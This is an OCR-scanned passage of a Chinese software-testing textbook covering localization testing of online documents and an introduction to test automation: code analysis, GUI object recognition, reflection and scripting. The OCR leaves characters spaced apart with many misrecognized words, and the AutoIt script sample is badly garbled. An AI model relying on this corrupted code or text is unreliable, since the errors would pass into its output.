就 像 打 印 好 的 文档 一 样 ,测试 人 员 应 该 验证 任何 一 个 联机 文档 的 有 效 性 、 可 用 性 。 本 地 化 
软件 测试 人 员 应 该 对 它们 进行 功能 测试 ,以 确保 它们 能 够 正常 工作 ,并 且 与 目标 市 场 的 要 求 
一 致 。 

不 论 是 PDF 还 是 HTML 格式 的 联机 文档 ,都 应 该 在 目标 语言 的 操作 系统 下 测试 ,确保 其 
功能 能 够 实现 ,字符 能 够 正确 显示 ,一 般 来 说 ,主要 检测 文件 的 以 下 几 方 面 。 

(1) 与 目标 语言 操作 系统 的 兼容 性 ; 

(2) 字体 和 图 形 能 够 正确 显示 ; 

(3) 与 本 地 化 的 Acrobat Reader 版 本 和 HTML 浏览 器 兼容 ; 

(4) 超 链接 的 正常 跳 转 。 

2. 页 面 内 容 和 图 片 

在 页 面 测 试 时 要 时 时 提醒 自己 ,HTML 页 面 上 有 些 文字 不 是 一 眼 就 能 看 到 的 ,如 : 

(1) 显示 在 浏览 器 界面 项 部 的 页 面 的 标题 。 

(2) 图 片 的 标题 , 当 图 片 正在 下 载 或 者 用 户 鼠 标 指 向 该 图 形 时 所 显示 的 Alt 属性 。 

(3) 超级 链接 的 标题 。 

确保 这 些 内 容 也 被 本 地 化 处 理 了 。 

3. Web 链接 和 高 级 选项 

测试 员 需 要 关注 页 面 上 的 超级 链接 未 被 本 地 化 的 部 分 或 者 链接 到 其 他 未 被 本 地 化 的 站 点 
上 去 ,否则 应 用 目标 请 言 在 这 些 链接 旁 给 出 提示 ,指出 这 些 站 点 是 源 语言 的 。 网 站 日 益 注重 提 
供 更 多 的 动画 效果 ,如 Flash, 需 要 针对 这 些 动画 效果 进行 测试 。 还 要 检查 浏览 器 的 一 些 高 级 
选项 ,如 JavaScript 脚本 和 ActiveX Applets 等 相关 的 设置 ,以 了 解 应 用 软件 是 否 受 到 影响 。 


小 结 


国际 化 是 本 地 化 的 基础 和 前 提 , 本 地 化 是 国际 化 向 特定 本 地 语言 环境 的 转换 ,其 理想 的 状 
态 是 , 源 语言 版 本 要 按照 国际 化 版 本 的 要 求 去 做 ,本 地 化 本 身 不 应 该 再 给 该 软件 增加 新 的 功能 
缺陷 。 然 而 ,如 果 该 软件 没有 充分 地 国际 化 ,在 本 地 化 过 程 中 就 很 有 可 能 会 产生 新 的 功能 性 方 
面 的 问题 ,包括 功能 调用 出 错 、 输 入 和 输出 问题 等 。 

翻译 仅 是 软件 本 地 化 的 一 部 分 工作 ,软件 本 地 化 实际 是 一 项 技术 工作 ,要 处 理 字符 集 问 
题 ,数据 格式 、 页 面 显 示 和 布局 配置 和 兼容 性 等 问题 。 在 测试 过 程 中 ,应 该 特别 注意 这 些 方面 
的 问题 ,特别 是 时 区 日 期 \ 时 间 、 货 币 ,度量 衡 \、 姓 名 、 复 数 等 的 处 理 和 显示 。 为 确保 本 地 化 后 
软件 产品 的 质量 ,本 地 化 的 产品 应 该 在 配置 有 目标 语言 操作 系统 的 计算 机 上 进行 测试 。 本 地 
化 的 翻译 人 员 .培训 人 员 和 技术 支持 人 员 也 最 好 参与 到 本 地 化 的 测试 中 来 ,以 保证 该 测试 的 全 
面 性 和 完整 性 。 


. 为 什么 要 进行 软件 本 地 化 ? 

. 软件 本 地 化 和 软件 国际 化 有 什么 关系 ? 

. 为 什么 说 软件 本 地 化 不 等 同 于 是 翻译 ? 

. 软件 本 地 化 测试 中 应 该 着 重 于 哪些 方面 ? 

. 进行 软件 本 地 化 测试 是 否 必须 通晓 该 目标 语言 ? 为 什么 ? 

. 假设 需要 测试 某 一 软件 的 日 语 本 地 化 版 本 ,请 问 需 要 做 哪些 方面 的 准备 ?请 一 一 


测试 自动 化 及 其 框架 


软件 测试 是 一 项 艰苦 的 工作 ,需要 投入 大 量 的 时 间 和 精力 , 据 统计 ， 
软件 测试 会 占用 整个 开发 时 间 的 40%。 一 些 可 靠 性 要 求 非常 高 的 软 
件 , 测 试 时 间 甚 至 占 到 总 开发 时 间 的 60%。 但 是 软件 测试 工作 具有 比 
较 大 的 重复 性 ,我 们 知道 ,软件 在 发 布 之 前 都 要 进行 几 轮 测试 ,也 就 是 说 
大 量 的 测试 用 例会 被 执行 几 遍 。 在 测试 后 期 所 进行 的 回归 测试 ,大 部 分 
测试 工作 是 重复 的 。 回 归 测 试 就 是 要 验证 已 经 实现 的 大 部 分 功能 ,这 种 
情况 下 ,只 是 为 了 解决 软件 缺陷 、 需 求 变 化 ,代码 修改 很 少 ,针对 代码 变 
化 所 做 的 测试 相对 比较 少 ,而 为 了 覆盖 代码 改动 所 造成 的 影响 而 要 进行 
大 量 的 测试 ,虽然 回归 测试 找到 软件 缺陷 的 可 能 性 小 ,效率 比较 低 , 但 又 
是 必要 的 。 此 后 ,软件 产品 版 本 不 断 更 新 ,不 断 增加 功能 或 修改 功能 ,期 
间 所 进行 的 测试 工作 重复 性 也 很 高 ,所 有 这 些 因 素 驱 动 着 软件 自动 化 的 
产生 和 发 展 。 

软件 测试 实行 自动 化 进程 , 决 不 是 因为 厌烦 了 测试 的 重复 工作 ,而 
是 测试 工作 的 需要 , 即 完 成 手工 测试 所 不 能 完成 的 任务 ,提高 测试 效率 
和 测试 结果 的 可 靠 性 、 准 确 性 和 客观 性 ,提高 测试 覆盖 率 ,保证 测试 工作 
的 质量 。 

本 章 将 主要 介绍 软件 测试 自动 化 的 概念 .原理 和 方法 ,如 何 引入 和 
实施 自动 化 测试 以 及 各 种 类 型 的 测试 工具 ,帮助 读者 全 面 掌握 软件 测试 
自动 化 的 有 关 知 识 和 技能 。 


9.1 测试 自动 化 的 内 涵 


自动 化 测试 (Automated Test) 是 相对 手工 测试 (Manual Test) 而 存 
在 的 一 个 概念 ,由 手工 逐个 地 运行 测试 用 例 的 操作 过 程 被 测试 工具 或 系 
统 自 动 执行 的 过 程 所 代替 ,包括 输入 数据 自动 生成 结果 的 验证 自动 发 
送 测试 报告 等 。 主 要 是 通过 所 开发 的 软件 测试 工具 脚本 (Script) 等 来 
实现 ,具有 良好 的 可 操作 性 、 可 重复 性 和 高 效率 等 特点 。 测 试 自动 化 是 
软件 测试 中 提高 测试 效率 .覆盖 率 和 可 靠 性 等 重要 手段 ,也 可 以 说 ,测试 
自动 化 是 软件 测试 不 可 分 割 的 一 部 分 。 


CHAPTER 9 


第 9 章 


9.1.1 手工 测试 的 局 限 性 


测试 人 员 在 进行 手工 测试 时 ,具有 创造 性 ,可 以 举一反三 ,从 一 个 测试 用 例 ,想到 新 的 一 些 
测试 场景 ,包括 原 有 测试 用 例 没 有 覆盖 的 、 特 殊 的 情况 或 边界 条 件 。 同 时 ,对 于 那些 复杂 的 退 
辑 判 断 ,界面 是 否 友好 ,手工 测试 具有 明显 的 优势 。 但 是 ,简单 的 功能 性 测试 用 例 在 每 一 轮 测 
试 中 都 不 能 少 ,而 且 具 有 一 定 的 机 械 性 ,重复 性 ,其 工作 量 往往 较 大 ,无 法 体现 手工 测试 的 优越 
性 。 如 果 让 手工 做 重复 的 测试 ,容易 引起 测试 人 员 的 乏味 ,严重 影响 工作 情绪 等 。 而 且 , 手 工 
测试 在 某 些 方面 甚至 束手无策 、 无 法 实现 测试 的 目标 ,存在 着 一 定 的 局 限 性 ,例如 : 

(1) 通过 手工 测试 无 法 做 到 覆盖 所 有 代码 路 径 , 也 难以 测定 测试 的 覆盖 率 。 

(2) 通过 手工 测试 很 难 捕捉 到 与 时 序 、 死 锁 、 资 源 冲 突 、 多 线程 等 有 关 的 错误 。 

(3) 在 系统 负载 ,性 能 测试 时 ,需要 模拟 大 量 数据 或 大 量 并 发 用 户 等 大 负载 的 应 用 场合 
时 ,例如 ,模拟 一 万 个 客户 访问 某 个 网 站 ,不 可 能 安排 一 万 个 测试 人 员 在 一 万 台 计 算 机 上 进行 
操作 ,没有 测试 工具 的 帮助 是 无 法 想象 的 。 

(4) 在 系统 可 靠 性 测试 中 ,需要 模拟 系统 运行 几 年 ,十 几 年 ,以 验证 系统 能 否 稳 定 运 行 ,也 
是 手工 测试 无 法 模拟 的 。 

(5) 在 回归 测试 中 ,多 数 情况 下 时 间 很 紧 ,希望 一 天 能 完成 成 千 上 万 个 测试 用 例 的 执行 。 
手工 测试 又 怎么 办 呢 ?” 即 使 让 测试 人 员 通 宵 达 旦 地 干 , 也 干 不 完 。 

(6) 测试 可 以 发 现 错误 ,并 不 能 表明 程序 的 正确 性 。 因 为 不 论 黑 盒 . 白 盒 都 不 能 实现 穷 举 
测试 。 对 一 些 关键 程序 ,如 导弹 发 射 软件 , 则 需要 考虑 利用 数学 归纳 法 或 谓词 演算 等 进行 正确 
性 验证 。 


9.1.2 什么 是 测试 自动 化 


谈 到 自动 化 测试 ,一 般 就 会 提 到 测试 工具 。 许 多 人 觉得 使 用 了 一 两 个 测试 工具 就 是 实现 
了 测试 自动 化 ,这 种 理解 是 不 对 的 ,至 少 是 片面 的 。 的 确 , 测 试 工具 的 使 用 是 自动 化 测试 的 一 
部 分 工作 ,但 “用 测试 工具 进行 测试 "不 等 于 “自动 化 测试 "。 那 什么 是 “自动 化 测试 " 呢 ? 

自动 化 测试 是 把 以 人 为 驱动 的 测试 行为 转化 为 机 器 执行 的 一 种 过 程 , 即 模 拟 手工 测试 步 
又 ,通过 执行 由 程序 语言 编制 的 测试 脚本 ,自动 地 完成 软件 的 单元 测试 、 功 能 测试 .负载 测试 或 
性 能 测试 等 全 部 工作 。 自 动 化 测试 集中 体现 在 实际 测试 被 自动 执行 的 过 程 上 ,也 就 是 由 手工 
逐个 地 运行 测试 用 例 的 操作 过 程 被 测试 工具 自动 执行 的 过 程 所 代替 。 自 动 化 测试 ,虽然 需要 
借助 测试 工具 ,但 是 仅仅 使 用 测试 工具 不 够 ,还 需要 借助 网 络 通 信 环 境 、 邮 件 系 统 、 系 统 Shell 
命令 ,后 台 运 行程 序 ,改进 的 开发 流程 等 ,由 系统 自动 完成 软件 测试 的 各 项 工作 ,例如 : 

(1) 测试 环境 的 搭建 和 设置 ,如 自动 上 传 软件 包 到 服务 器 并 完成 安装 ; 

(2) 基于 模型 实现 测试 设计 的 自动 化 ,或 基于 软件 设计 规格 说 明 书 实现 测试 用 例 的 自动 
生成 ; 

(3) 脚本 自动 生成 ,如 根据 UML 状态 图 .时 序 图 等 生成 可 运行 的 测试 脚本 ; 

(4) 测试 数据 的 自动 产生 ,例如 ,通过 SQL 语句 在 数据 库 中 产生 大 量 的 数据 记录 ,用 于 
测试 ; 

(5) 测试 操作 步骤 的 自动 执行 ,包括 软件 系统 的 模拟 操作 测试 执行 过 程 的 监控 ; 

(6) 测试 结果 分 析 ,实际 输出 和 预期 输出 的 自动 对 比分 析 ; 

(7) 测试 流程 (工作 流 ) 的 自动 处 理 , 包 括 测试 计划 复审 和 批准 、 测 试 任务 安排 和 执行 、 缺 


陷 生 命 周期 等 自动 化 处 理 ; 

(8) 测试 报告 自动 生成 功能 等 。 

这 样 ,测试 自动 化 意味 着 测试 全 过 程 的 自动 化 和 测试 管理 工作 的 自动 化 。 如 果 使 整个 软 
件 测试 过 程 完全 实现 自动 化 ,而 不 需要 丝毫 的 人 工 参 与 或 干涉 ,这 是 不 现实 的 。 虽然 不 能 完美 
地 实现 测试 自动 化 ,但 是 ,我 们 理应 每 时 每 刻 向 这 个 方向 努力 ,不 断 地 问 自 己 一 一 这 些 测试 工 
作 能 否 由 软件 系统 或 工具 来 自动 完成 ? 在 测试 计划 、 设 计 、 实 施 和 管理 的 任何 时 刻 , 始 终 寻求 
更 有 效 .更 可 靠 的 方法 和 手段 ,以 有 助 于 提高 测试 的 效率 。 所 以 ,有 人 更 希望 将 测试 自动 化 解 
释 成 “能 够 使 测试 过 程 简单 并 有 效率 、 使 测试 过 程 更 为 快捷 而 没有 延误 的 方法 或 努力 ”"。 从 这 
里 可 以 认识 到 ,“ 全 过 程 的 自动 化 测试 "思想 是 非常 重要 的 ,会 改变 我 们 测试 工作 的 思维 、 改 变 
我 们 测试 的 生活 ,将 测试 带 到 一 个 新 的 境界 。 

自动 化 测试 是 相对 手工 测试 而 存在 的 ,所 以 自动 化 测试 的 真正 含义 可 以 理解 为 "一切 可 以 
由 计算 机 系统 自动 完成 的 测试 任务 都 已 经 由 计算 机 系统 或 软件 工具 ,程序 来 承担 并 自动 执 
行 ”"。 它 包含 下 列 三 层 含义 。 

(1) “一切 ”, 不 仅 指 测 试 执行 的 工作 一 一 对 被 测试 的 对 象 进行 验证 ,还 包括 测试 的 其 他 工 
作 , 如 缺陷 管理 ,测试 管理 ,环境 安装 ,设置 和 维护 等 。 

(2)“ 可 以 ”, 意 味 着 某 些 工作 无 法 由 系统 自动 完成 ,如 脚本 的 开发 ,测试 用 例 的 设计 ,需要 
创造 性 ,其 工作 需要 手工 处 理 。 

(3) 即使 由 系统 进行 自动 化 测试 ,还 少不了 人 工 干 预 ,包括 事先 安排 自动 化 测试 任务 、 测 
试 结果 分 析 ,调试 测试 脚本 等 。 


9.1.3 软件 测试 自动 化 的 优势 


由 于 手工 测试 的 局 限 性 ,软件 测试 借助 测试 工具 成 为 必要 。 自 动 化 测试 由 计算 机 系统 自 
动 来 完成 ,由 于 机 器 执行 操作 速度 快 ,也 不 会 劳累 ,可 以 24 小 时 连续 工作 ,而 且 会 严格 按照 所 
开发 的 脚本 、 指 令 进行 ,不 会 有 半点 差错 ,所 以 自动 化 测试 的 优势 也 很 明显 。 

(1) 自动 运行 的 速度 快 、 执 行 效 率 高 ,是 手工 无 法 相 比 的 。 

(2) 水 不 疲劳 。 手 工 进 行 测试 会 感觉 累 ,测试 人 员 一 天 正常 工作 时 间 是 8h, 最 多 工作 十 
几 个 小 时 ,而 机 器 不 会 感觉 累 , 可 以 不 间断 工作 ,每 周 可 以 工作 7 天 ,每 天 可 以 工作 24h。 

(3) 测试 结果 准确 。 例 如 ,搜索 用 时 是 0. 33s 或 0. 24s, 系 统 都 会 发 现 问题 ,不 会 忽视 任何 
差异 。 

(4) 可 靠 。 人 可 以 撒谎 ,计算 机 不 会 弄虚作假 。 对 同一 个 被 测 系统 ,用 相同 的 脚本 进行 测 
试 ,结果 是 一 样 的 ,而 手工 测试 容易 出 错 ,其 至 有 些 用 例 没 被 执行 , 却 可 以 说 “执行 了 ”。 

(5) 可 复 用 性 。 一 旦 完成 所 用 的 测试 脚本 .可 以 一 劳 永 逸 运行 很 多 遍 。 

(6) 特别 的 能 力 。 有 些 手 工 测 试 做 不 到 的 地 方 , 自 动 化 测试 可 以 做 到 。 例 如 ,对 一 个 网 站 
进行 负载 测试 ,要 模拟 1000 个 用 户 同时 (并 发 ) 访 问 这 个 网 站 。 如 果 用 手工 测试 ,需要 1000 个 
测试 人 员 参 与 ,对 绝 大 多 数 软件 公司 是 不 可 能 的 。 这 时 ,如 果 让 机 器 执行 这 个 任务 ,假如 每 台 
机 器 能 同时 执行 20 个 进程 ,只 需要 50 台 机 器 就 可 以 了 。 

正 是 这 些 特点 ,软件 测试 自动 化 可 以 弥补 手工 测试 的 不 足 ,给 软件 测试 带 来 不 少 益处 。 

(1) 缩短 软件 开发 测试 周期 。 软 件 自动 化 测试 具有 速度 快 .永远 不 知 疲倦 等 特点 ,对 同样 
的 上 千 个 测试 用 例 , 软 件 测试 自动 化 工具 可 以 在 很 短 时 间 内 完成 ,还 可 以 每 周 7 天 、 每 天 24 小 
时 不 间断 运行 ,能 不 厌 其 烦 地 运行 同样 的 测试 用 例 十 遍 、 一 百 遍 等 。 


(2) 更 高 质量 的 产品 。 因 为 通过 测试 工具 运行 测试 脚本 ,能 保证 百分之百 地 完成 测试 ,而 
且 测 试 结果 准确 、 可 靠 。 借 助 自动 化 测试 ,可 以 达到 更 高 的 测试 覆盖 率 ,而 且 每 天 可 以 完成 一 
轮 测试 ,更 早 地 发 现 问题 ; 测试 人 员 还 有 更 多 的 时 间 思 考 ,来 完善 测试 用 例 。 

(3) 软件 过 程 更 规范 。 自 动 化 测试 鼓励 测试 团队 规范 化 整个 过 程 ,包括 开发 的 代码 管理 
和 代码 包 的 构建 ,标准 的 测试 流程 以 及 一 致 性 的 文档 记录 和 更 完善 的 度量 。 

(4) 测试 效率 高 ,充分 利用 硬件 资源 。 可 以 在 运行 某 个 测试 工具 的 同时 ,运行 男 一 个 测试 
工具 ,也 可 以 在 运行 某 个 测试 工具 的 同时 而 思考 新 的 测试 方法 或 设计 新 的 测试 用 例 , 能 够 把 大 
量 测试 个 案 分 配 到 各 台 机 器 上 去 同时 运行 ,就 能 节省 大 量 的 时 间 。 也 可 以 把 大 量 的 系统 测试 
及 回归 测试 安排 到 夜间 及 周末 运行 ,更 能 提高 效率 ,如 在 下 班 前 将 所 有 要 运行 的 测试 脚本 (用 
脚本 语言 写成 的 .模拟 手工 完成 特定 测试 任务 的 程序 或 指令 ) 准 备 好 ,并 启动 测试 工具 ,第 二 天 
一 上 班 就 能 拿 到 测试 结果 。 

(5) 节省 人 力 资源 ,降低 测试 成 本 。 在 回归 测试 时 ,如 果 是 手工 方式 ,就 需要 大 量 的 人 力 
去 验证 大 量 稳定 的 旧 功能 ,而 通过 测试 脚本 和 测试 工具 ,只 要 一 个 人 就 可 以 了 ,可 以 省 去 大 量 
的 人 力 资源 。 同 样 的 测试 用 例 ,需要 在 很 多 不 同 的 测试 环境 (如 不 同 的 浏览 器 .不同 的 操作 系 
统 , 不 同 的 连接 条 件 等 ) 下 运行 ,也 正 是 测试 工具 大 展 身手 的 地 方 。 

(6) 增强 测试 的 稳定 性 和 可 靠 性 。 通 过 测试 工具 运行 测试 脚本 ,能 保证 百分之百 进行 。 
但 是 ,有 时 个 别 测试 人 员 并 没有 执行 那些 测试 用 例 , 但 他 可 能 有 意 或 无 意 地 告诉 你 ,他 已 经 运 
行 了 所 有 测试 用 例 ,而 机 器 绝 不 会 ,一 是 一 ` 二 是 二 ,所 有 安排 的 任务 会 得 到 完全 的 执行 。 

(7) 提高 软件 测试 的 准确 度 和 精确 度 , 也 就 是 提高 测试 的 质量 。 软 件 测试 自动 化 的 结果 
都 是 客观 的 ,量化 的 ,并 且 和 所 预期 结果 或 规格 说 明 书 规定 的 标准 进行 数字 化 的 对 比 ,任何 差 
异 都 能 发 现 , 而 且 任何 差异 也 不 会 被 忽视 。 

(8) 手工 不 能 做 的 事情 ,软件 测试 工具 可 以 完成 ,例如 ,负载 测试 ,性 能 测试 ,手工 很 难 进 
行 ,只 有 通过 工具 来 完成 。 

(9) 高 昂 的 团队 士气 。 因 为 测试 人 员 有 更 多 机 会 学 习 编程 .获取 新 技术 ,测试 工作 更 有 
趣 、 有 更 多 的 挑战 。 


9.2 测试 自动 化 实现 的 原理 


软件 测试 自动 化 实现 的 基础 是 可 以 通过 特定 的 程序 (包括 脚本 、 指 令 ) 模 拟 测试 人 员 对 软 
件 系统 的 操作 过 程 ,如 测试 过 程 的 捕获 和 回放 ,其 中 最 重要 的 是 识别 用 户 界面 (User Interface， 
UD 的 元 素 以 及 捕获 键盘 、 鼠 标的 输入 ,将 操作 过 程 转换 为 测试 工具 可 执行 的 脚本 ; 然后 ,对 脚 
本 进行 修改 和 优化 ,加 入 测试 的 验证 点 ; 最 后 ,通过 测试 工具 运行 测试 脚本 ,将 实际 输出 记录 
和 预先 给 定 的 期 望 结 果 进 行 自动 对 比分 析 ,确定 是 否 存 在 差异 。 无 论 是 对 功能 测试 .还 是 对 性 
能 测试 ,自动 化 实现 的 方法 都 比较 接近 ,只 不 过 是 功能 测试 侧重 动能 验证 ,而 性 能 测试 需要 模 
拟 成 千 上 万 的 虚拟 用 户 。 

自动 化 测试 也 包括 动态 测试 和 静态 测试 ,上 面 所 介绍 的 是 动态 的 自动 化 测试 ,而 静态 的 自 
动 化 测试 类 似 于 编译 系统 那样 ,对 计算 机 程序 进行 扫描 、 逐 行 检查 ,直接 对 代码 进行 语法 分 析 、 
代码 风格 检查 等 ,以 发 现 不 符合 代码 规范 等 问题 。 


9.2.1 代码 分 析 


最 早 进行 代码 分 析 的 工具 是 编译 器 。 为 了 顺利 地 编译 代码 ,编译 器 首先 要 检查 程序 是 否 
符合 编程 语言 的 语法 ,能 够 发 现代 码 中 的 语法 错误 ,然后 将 源 代码 转换 成 可 执行 的 二 进 制 代 
码 。 但 是 ,早期 的 编译 器 对 那些 语法 上 正确 但 是 非常 可 疑 的 代码 结构 置之不理 。1979 年 , 贝 
尔 实验 室 的 Steve Johnson 在 PCC(Portable C Compiler, 轻 量 型 C 编译 器 ) 基 础 上 开发 出 代码 
分 析 工 具 Lint ,能 检查 出 更 多 不 符合 规范 的 错误 (如 将 “一 一 ”写成 了 一 ”) 以 及 函数 接口 参数 
不 一 致 性 问题 等 ,完成 代码 健壮 性 检查 。Lint 后 来 形成 一 系列 工具 ,包括 PC-Lint/FlexeLint 
(Gimpel) 和 Lint Plus (Cleanscape) 等 。 

代码 分 析 工 具 还 体现 在 集成 开发 环境 中 ,多 数 IDE 的 代码 编辑 器 都 可 以 实时 进行 代码 检 
查 , 直 接 定 位 和 高 亮 显示 警告 信息 和 可 能 的 错误 。 除 了 内 建 的 静态 分 析 外 ,大 部 分 IDE 都 有 
可 选 的 插件 来 执行 更 全 面 的 代码 分 析 , 例 如 ,Eclipse 在 “ 源 代码 分 析 器 ”的 分 类 列表 中 有 多 达 
几 十 种 插件 ,这 些 插件 包括 : 

(1) 代码 规则 或 者 是 代码 风格 的 检查 工具 ,例如 Checkstyle、FindBugs、JLint、PMD 等 ,如 
图 9-1 所 示 。 

(2) 检查 和 移出 元 余 代码 的 分 析 器 ,如 Duplication Management Framework 。 
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图 9-1 在 Eclipse 中 的 FindBugs 规则 设置 


例如 ,开源 的 代码 分 析 器 PMD 能 分 析 以 下 包含 风险 的 代码 。 

(1) MethodReturnsInternalArray( 返 回 内 部 数组 的 方法 ): 暴露 内 部 的 数组 ,让 用 户 可 以 
直接 修改 一 些 关 键 的 代码 。 返 回 数组 的 拷贝 会 安全 些 。 

(2) ArrayIsStoredDirectly( 直 接 存储 数组 ): 构造 函数 或 方法 接收 的 数组 应 该 克隆 对 象 
并 存储 拷贝 。 这 样 可 防止 将 来 的 用 户 修改 ,影响 内 部 功能 。 


再 举 一 个 例子 ,我 们 可 能 会 因为 数据 库 连接 未 关闭 问题 焦头烂额 ,例如 ,资源 未 能 在 try/ 
catch/finally 块 中 被 释放 清理。 而 使 用 JUnit 可 以 分 析 Java 类 的 结构 和 内 容 ,检查 它们 与 既 
定 规则 的 匹配 程度 。 例 如 ,规则 可 能 是 这 样 的 : 若 在 某 个 方法 体 中 创建 或 从 连接 池 中 取得 了 
数据 库 连 接 , 那 么 必须 保证 存在 一 个 try/catch/finally 块 , 且 在 finally 块 中 关闭 了 连接 或 释放 
了 连接 。 


9.2.2 ”对象 识别 


测试 工具 能 够 实现 对 用 户 界面 的 操作 ,要么 就 按照 屏幕 的 实际 像素 坐标 来 定位 ,要 么 通过 
寻找 UI 上 的 对 象 ( 如 窗口 按钮、 滚动 条 等 ) 来 确定 操作 的 目标 。 前 者 方法 虽然 简单 ,但 生成 
的 脚本 缺乏 可 读 性 ,不 容易 维护 ,而且 在 不 同 的 屏幕 分 辩 率 下 脚本 可 能 根本 不 能 运行 ,所 以 越 
来 越 多 的 测试 工具 选择 对 象 识别 方法 。GUI 对 象 的 识别 工具 比较 多 ,微软 Visual Studio 中 就 
包含 Spy 十 十 , 它 可 以 用 来 识别 各 种 Windows 的 GUI 对象, 如 图 9-2 所 示 。 
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图 9-2 用 Spy 十 十 识别 计算 器 的 各 种 窗口 对 象 


要 识别 对 象 ,就 是 获得 UI 对 象 的 ID、 对 象 名 ,然后 根据 对 象 的 ID、 对 象 名 ,确定 其 属性 值 
等 数据 。 基 于 GUI 对 象 识别 和 控制 的 自动 化 测试 工具 ,在 脚本 语言 中 一 般 使 用 Windows 
User Interface( 用 户 界面 ) 一 类 的 API 调用 来 识别 .操作 GUI 对 象 。Windows UI API 函数 封 
装 了 操作 应 用 软件 所 需 的 接口 函数 ,包括 键盘 和 鼠标 的 捕获 ,以 及 窗口 .按钮 选择 项 等 的 识别 
和 操作 。 例 如 ,以 窗口 类 API 为 例 ,包括 几 十 个 函数 ,例如 : 


HWND GetDesktopWindow( VOID) 

HWND GetForegroundwindow( VOID) 

HWND GetTopWindow(HNND hWnd) ; 

BOOL GetWindowRect (HWND hWnd, LPRECT1pRect); 

Int GetWindowText (HWND hWnd, LPTSTR lpString, Int nMaxCount); 

Int GetClassName( HWND hWnd, LPTSTR IpClassName int nMaxCount); 
BOOL GetClasslnfoEx(HINSTANCE hlnst, LPCTSTR lpszClass, lpwcx); 
DWORD GetWindowThreadProcessld( HWND hwnd, LPDWORD lpdwProcessld); 
BOOL IsWindowVisible(HWND hwnd) ; 

HWND FindWindow( LPCTSTR IpClassName, LPCTSTR IpWindowName); 


除了 Windows API 函数 调用 方法 之 外 ,还 有 其 他 一 些 技术 可 以 采用 ,如 反射 机 制 


(Reflection) 。 通 过 反射 来 加 载 被 测试 程序 ,获取 被 测试 程序 的 各 种 属性 ,触发 被 测试 程序 的 
各 种 事件 ,从 而 达到 自动 化 测试 的 目的 。 在 C# 、C++ 和 Java 程序 语言 中 都 提供 了 反射 机 制 ， 
增加 了 这 些 非 动态 语言 的 动态 性 ,可 以 在 程序 运行 时 动态 地 创建 类 的 实例 ,并 绑 定 到 现 有 对 
象 ,然后 调用 类 的 方法 或 访问 其 字段 和 属性 ,这 也 为 自动 化 测试 提供 了 一 种 获取 对 象 信息 的 途 


径 。 


例如 ,在 C# 中 使 用 静态 方法 GetType 获取 变量 类 型 。 
// Using GetType to obtain type information: 

int i= 42; 

System. Type type = i.GetType(); 

System. Console. WriteLine( type); 

输出 为 : System. Int32 

下 面 的 示例 使 用 反射 获取 已 加 载 的 程序 集 的 完整 名 称 : 
// CH# : Using Reflection to get information from an Assembly: 


System. Reflection. Assembly o = System. Reflection. Assembly. Load( "mscorlib. dl1"); 
System. Console. WriteLine(o. GetName( ) ) ; 


输出 为 : mscorlib，Version 一 2. 0.0.0, Culture 二 neutral, PublicKeyToken 一 b77a5c561934e089 


9.2.3 脚本 技术 


脚本 是 一 组 测试 工具 执行 的 指令 集合 ,也 是 计算 机 程序 的 一 种 形式 。 脚 本 可 以 通过 录制 


测试 的 操作 产生 ,然后 再 做 修改 ,这 样 可 以 减少 脚本 开发 的 工作 量 。 当 然 , 也 可 以 直接 用 脚本 
语言 编写 脚本 。 测 试 工具 脚本 中 可 以 包含 数据 和 指令 ,并 包括 : 


(1) 同步 ( 何 时 进行 下 一 个 输入 )。 

(2) 比较 信息 (比较 什么 、 如 何 比 较 以 及 和 谁 比较 )。 

(3) 捕获 何 种 屏幕 数据 及 存储 在 何 处 。 

(4) 从 另 一 个 数据 源 读 取 数据 时 从 何 处 读 取 。 

(5) 控制 信息 等 。 

脚本 的 技术 围绕 着 脚本 的 结构 设计 ,实现 测试 用 例 , 在 建立 脚本 的 代价 和 维护 脚本 的 代价 


中 得 到 平衡 ,并 从 中 获得 最 大 益处 。 


脚本 技术 不 仅 用 在 功能 测试 上 ,来 模拟 用 户 的 操作 然后 进行 比较 ,而 且 可 以 用 在 性 能 、 负 


载 测试 上 ,模拟 并 发 用 户 进行 相同 或 不 同 的 操作 ,以 给 系统 或 服务 器 足够 的 负载 ,以 检验 系统 
或 服务 器 的 响应 速度 ,数据 吞吐 能 力 等 。 


脚本 可 以 分 为 线性 脚本 、 结 构 化 脚本 ,数据 驱动 脚本 和 关键 字 驱 动 脚本 。 线 性 脚本 是 最 简 


单 的 脚本 ,如 同 流水 账 那样 描述 测试 过 程 ,一 般 由 自动 录制 得 来 ; 而 结构 化 脚本 是 对 线性 脚本 
的 加 工 , 类 似 于 结构 化 设计 的 程序 ,是 脚本 优化 的 必然 途径 之 一 。 而 数据 驱动 脚本 和 关键 字 
驱动 脚本 可 以 进一步 提高 脚本 编写 的 效率 , 极 大 地 降低 脚本 维护 的 工作 量 。 目 前 ,大 多 数 
测试 工具 都 支持 数据 驱动 脚本 和 关键 字 驱 动 脚本 。 在 脚本 开发 中 ,常常 将 这 几 种 脚本 结合 
起 来 应 用 。 


1. 线性 脚本 
线性 脚本 是 录制 手工 执行 的 测试 用 例 得 到 的 脚本 ,这 种 脚本 包含 所 有 的 击 键 、 移 动 . 输 入 


数据 等 ,所 有 录制 的 测试 用 例 都 可 以 得 到 完整 的 回放 。 对 于 线性 脚本 ,也 可 以 加 入 一 些 简单 的 
指令 ,如 时 间 等 待 . 比 较 指令 等 。 线 性 脚本 适合 于 那些 简单 的 测试 (如 Web 页 面 测试 ) 一 次 性 
测试 ,多 数 用 于 脚本 的 初始 化 (录制 的 脚本 用 于 以 后 修改 ) ,或 者 用 于 演示 等 。 

2. 结构 化 脚本 

类 似 于 结构 化 程序 设计 ,具有 各 种 逻辑 结构 ,包括 选择 性 结构 ,分支 结构 循环 迭代 结构 ， 
而 且 具 有 函数 调用 功能 。 结 构 化 脚本 具有 很 好 的 可 重用 性、 灵活 性 ,所 以 结构 化 脚本 易于 维护 。 


?Inclwade 闪电 
Minclude UIConstants. auy> 


7 侈 峙 化 全局 区 天 
Global SGUTILdth 
Global SCUDieight 


SEUTWidth = 300 
SeumDtetght = 250 

:关口 

UICreatel" New OUI”, $0UTWiAth, $6UTHeight) 


le 1 


Sneg ”GUIGetitsg() 


MsgBor(64, “New CUT", “You clicked on the OK buttonl*) 
Case $ney = $Cancel Btn 
MrgBox(64, “Wew OUI", “Yow chicked on the Cancel buttonl”) 
Endselect 


3. 数据 驱动 脚本 

数据 驱动 脚本 ,将 测试 脚本 和 数据 分 离开 来 ,测试 输入 数据 存储 在 独立 的 (数据 ) 文 件 中 ， 
